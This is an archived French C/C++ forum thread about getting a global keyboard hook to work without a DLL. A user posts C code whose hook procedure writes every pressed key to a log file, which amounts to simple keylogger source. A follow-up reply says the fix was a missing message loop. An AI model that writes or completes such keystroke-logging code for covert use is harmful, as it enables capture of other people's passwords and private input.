begin process at 2012 05 29 09:04:28
  Trouver un code source :
 
dans
 
Accueil > Forum > 

Archive C/C++

 > 

Archives

 > 

Divers

 > 

hook global sans dll en mode fenêtre


Derniers messages déposésPoser une question dans le forum ou lancer une discussion

hook global sans dll en mode fenêtre

vendredi 21 avril 2006 à 02:42:07 | hook global sans dll en mode fenêtre

wallegen

Je voudrais essayer ce code
http://www.cppfrance.com/codes/HOOK-GLOBAL-SANS-DLL_27169.aspx
en mode fenêtre afin de mieux le comprendre(et surtout parce que je ne connais pas encore la programmation des fenêtres :-p
mais ça ne marche pas !j'ai essayé par ex ça:


#define _WIN32_WINNT 0x0400
#include <windows.h>

HHOOK hHook;    // Handle du hook global
HINSTANCE hExe; // Handle de notre exécutable

// Fonction de gestion du hook
__declspec(dllexport) LRESULT CALLBACK HookProc ( int nCode,  WPARAM wParam,  LPARAM lParam)
{
    if  ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
    {
        // Structure de récupération d'infos sur la touche tapée
        KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);

        // Obtenir la lettre de la touche tapée
        char lettre=(char)hookstruct.vkCode;

        // Compteur des octets écrits pour WriteFile()
        DWORD Ecrits;

        // Ouverture du fichier log. Le créer s'il n'existe pas.
        HANDLE    hFichier = CreateFile("C:\\FichierLog.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
       
        // Si le handle retourné est valide alors
        if( hFichier != INVALID_HANDLE_VALUE)
        {
         // Mettre le pointeur du fichier à la fin
         SetFilePointer(hFichier,NULL,NULL,FILE_END);

         // Ecrire la lettre dans le fihier log
         WriteFile(hFichier,&lettre,1,&Ecrits,NULL);

         // Fermer le fichier
         CloseHandle(hFichier);
        }
    }
   // Renvoi des messages au sytème pour permettre d'autres hooks
   return CallNextHookEx(hHook, nCode, wParam, lParam);

}



int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd,int nShow )
{
       hExe = GetModuleHandle(NULL);

          hHook = SetWindowsHookEx( WH_KEYBOARD_LL, (HOOKPROC)        
         hookProc, hExe, NULL);
         system("pause");
         UnhookWindowsHookEx(hHook);
}



D'après mes essais je récupère bien le handle,le hook se fait aussi,par conter c'est la fonction du hook qui ne se fait pas(tester avec un messagebox)
J'ai essayé sur plusieurs codes,avec "int main(...)" pour la fenêtre principale
D'aprés d'autres posts j'ai aussi jetté un oeil avec depends.exe mais celui ci ne me retourne qu'un avertissement(idem que pour le code originale d'ailleurs)

Donc pourquoi ça marche pas?et surtout quelle difference fait que le code initale marche?car si j'ai bien compris il suffit de récupérer le handle et de mettre la fonction en export.....

lundi 24 avril 2006 à 12:51:28 | Re : hook global sans dll en mode fenêtre

wallegen




pour ceux que ça interesse ,le problème est l'absence de la boucle qui récupère les messages,merci à Racpp pour sa réponse que vous trouverez ici 
http://www.cppfrance.com/codes/HOOK-GLOBAL-SANS-DLL_27169.aspx


Cette discussion est classée dans : handle, hook, hhook, hfichier, global


Répondre à ce message

Sujets en rapport avec ce message

hook global [ par Xentor609 ] Salut,Je sais bien que ca enerve certain les questions sur les hooks, mais al trouve vraiment pas.Je souhaiterais placer un hook sur le clavier, pour Hook global des flux réseaux [ par Taron31 ] Bonjour, je dois effectuer dans un projet un hook global afin de récupérer tous les flux réseaux (passant par plusieurs cartes réseaux).Cependant, je Hook Global - Répétition de la touche ^ [ par lol55 ] Bonjour à Tous,Je suis parvenu à créer un Hook pour mon programme avec l'aide des codes qu'il y a sur le site mais lorsque mon Hook est activé, la pre Question Injection DLL et Hook [ par Taron31 ] Bonjour, je me pose une question conernant la fonction SetWindowsHookEx, notamment concernant l'injection de la DLL. J'ai en effet un programme de hoo SetPropA [ par sheorogath ] Bonjour,m'etant remis au C++ pour une enieme fois j'ai reussi a trouver quelques chose d'interressant a faire : les hookje sais que c'est un peu ambit Hook et focus [ par krokro6 ] Salut à tous, j'ai un gros problème depuis que j'ai commencé à utiliser les hooks, le problème est le suivant : pourquoi quand j'apelle ma fonction qu Ofstream Global [ par vba_blitz ] Bonjourj'ai une variable globale std::ofstream fichier;et je souhaite donner un chemin à fichier. D'habitude je fais ofstream fichier("G:/...."), mais Une méthode virtuelle appelée depuis un destructeur n'est pas héritée!? [ par Forman ] Bonjour(soir) à tous,je viens de me mettre au C++ et à GLUT et je bute sur un problème que je n'arrive pas à m'expliquer. D'abord, voilà le code en qu Récupération de Handle [ par Gendal67 ] Bonjour à tous,J'ai un petit souci et j'espère que les plus habiles sauront me répondre car je suis un peu embêté là.Voila, j'aimerais récupérer le ha PID et HANDLE [ par CleFac ] Bonjour,J'aimerai savoir comment récupérer l'HANDLE d'une fenêtre quand on connais son PID.Merci d'avance


Nos sponsors


Sondage...

Comparez les prix

CalendriCode

Mai 2012
LMMJVSD
 123456
78910111213
14151617181920
21222324252627
28293031   

Consulter la suite du CalendriCode

A découvrir



 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 0,234 sec (4)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales